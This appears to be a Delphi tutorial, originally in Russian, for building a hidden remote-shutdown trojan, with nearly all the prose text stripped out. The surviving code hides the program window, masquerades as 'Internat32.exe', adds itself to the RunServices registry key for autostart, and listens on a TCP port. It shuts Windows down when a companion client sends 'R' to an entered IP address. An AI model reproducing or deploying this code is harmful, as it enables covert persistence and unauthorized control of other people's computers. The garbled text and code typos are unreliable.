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4 .
. . , . . , , .
Delphi. , , .
, Delphi. , . , .
, . (), (). , , .
:
, Delphi , (File New Application). .
Options Project. , 1.
From1 Auto-Create forms ( ) Available forms ( ), . From1 . . , .
Application Load Icon. , . , , .
ServerSocket Internet, ( TCP, ). ServerSocket1 ObjectInspector. Port. 1024, ( 1000).
, . ObjectInspector Events. OnCreate Delphi, , , . :
procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
uses registry. , , :
uses registry, Windows, Messages,
, .
var RegIni:TRegIniFile - RegIni TRegIniFile. .
RegIni:=TRegIniFile.Create('Software') - .
RegIni.RootKey:=HKEY_LOCAL_MACHINE , HKEY_CURRENT_USER .
RegIni.OpenKey('Software', true) - Software.
, .
RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName) RunServices ( , ), Internat32.exe ( ) Application.ExeName ( ).
RegIni.Free - RegIni.
, , . .
ServerSocket1.Active:=true .
. . Events ObjectInspector- OnDistroy. , . :
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;
. , , . , . . , , . , , ( , ).
ServerSocket1 Events ObjectInspector-. OnClientRead ( , - ) :
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
, -:
= R
.
ExitWindowsEx . , EWX_SHUTDOWN. , , . , EWX_FORCE. , , :).
, . Save All File. Delphi . (Unit1) . , . Internat32, .
:
, . Project Manager View. , 2.
ٸ Internat32.exe View Source. . , , , , ( ):
program Internat32;
uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
. . , :
, . , Var.
WhEvent:THandle , WhEvent Thandle.
Application.Initialize .
ShowWindow(Application.Handle, SW_Hide) . SW_Hide , . , , Ctrl+Alt+Del. ( , , ) .
Form1:=TForm1.Create(nil) . , .
Application.Run . , Delphi ++. .
WhEvent:=CreateEvent(nil, true,false, 'et') .
, :
(true)
( , 1000 )
, true true, . :
1. . , (1000 1 ).
2. .
1 . . ( 1 ) , : . . , . ( ), 1 . , .
Ctrl+F9 Delphi . . Delphi , , . , , : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices. .
, .
:
. . :).
:
1. Button Standart .
2. Edit Standart .
3. ClientSocket Internet
3, .
ClientSocket1 ObjectInspector- . 0, , .
( ) .
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;
ClientSocket1.Host:=Edit1.Text ClientSocket1 . , . IP , ClientSocket1.Addres:=Edit1.Text. Edit1 IP .
ClientSocket1.Active:=true .
ClientSocket1.Socket.SendText('R') R. , . R, .
ClientSocket1.Active:=false .
. . Ctrl+F9 Delphi . . . . ( , IP) . .
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